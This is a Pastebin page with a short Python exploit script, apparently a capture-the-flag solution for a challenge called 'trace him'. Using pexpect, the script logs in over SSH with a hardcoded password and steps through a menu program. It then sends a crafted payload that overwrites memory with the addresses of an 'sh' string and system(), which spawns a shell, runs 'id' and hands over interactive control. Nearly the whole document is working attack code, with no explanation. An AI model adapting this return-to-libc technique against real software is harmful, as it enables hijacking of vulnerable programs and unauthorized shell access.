Advertisement
tunz

secuinsdie trace him

Dec 2nd, 2013
42
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.55 KB | None | 0 0
  1. import pexpect
  2. import time
  3. from struct import *
  4.  
  5. p = pexpect.spawn("ssh control@localhost")
  6. p.waitnoecho()
  7.  
  8. p.sendline('control porsche')
  9.  
  10. p.send('C'*9+'B'*2+' ')
  11. p.expect('Detach')
  12. #print p.before
  13. p.send('3')
  14. p.expect('A')
  15. #print p.before
  16.  
  17. p.send('B'+'D'*6+' 1')
  18.  
  19. structure = ","*4
  20. structure += "\x06"*4
  21. structure += "\x06"*4
  22. structure += "\x08"*4
  23. structure += pack('<L',0x804856b) # "sh"
  24. structure += "A"*(0x20-4)
  25. structure += pack('<L',0x8048940) # system
  26.  
  27. p.sendline(structure)
  28. p.send(' ')
  29.  
  30. p.sendline('id')
  31. p.interact()
  32.  
  33. p.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement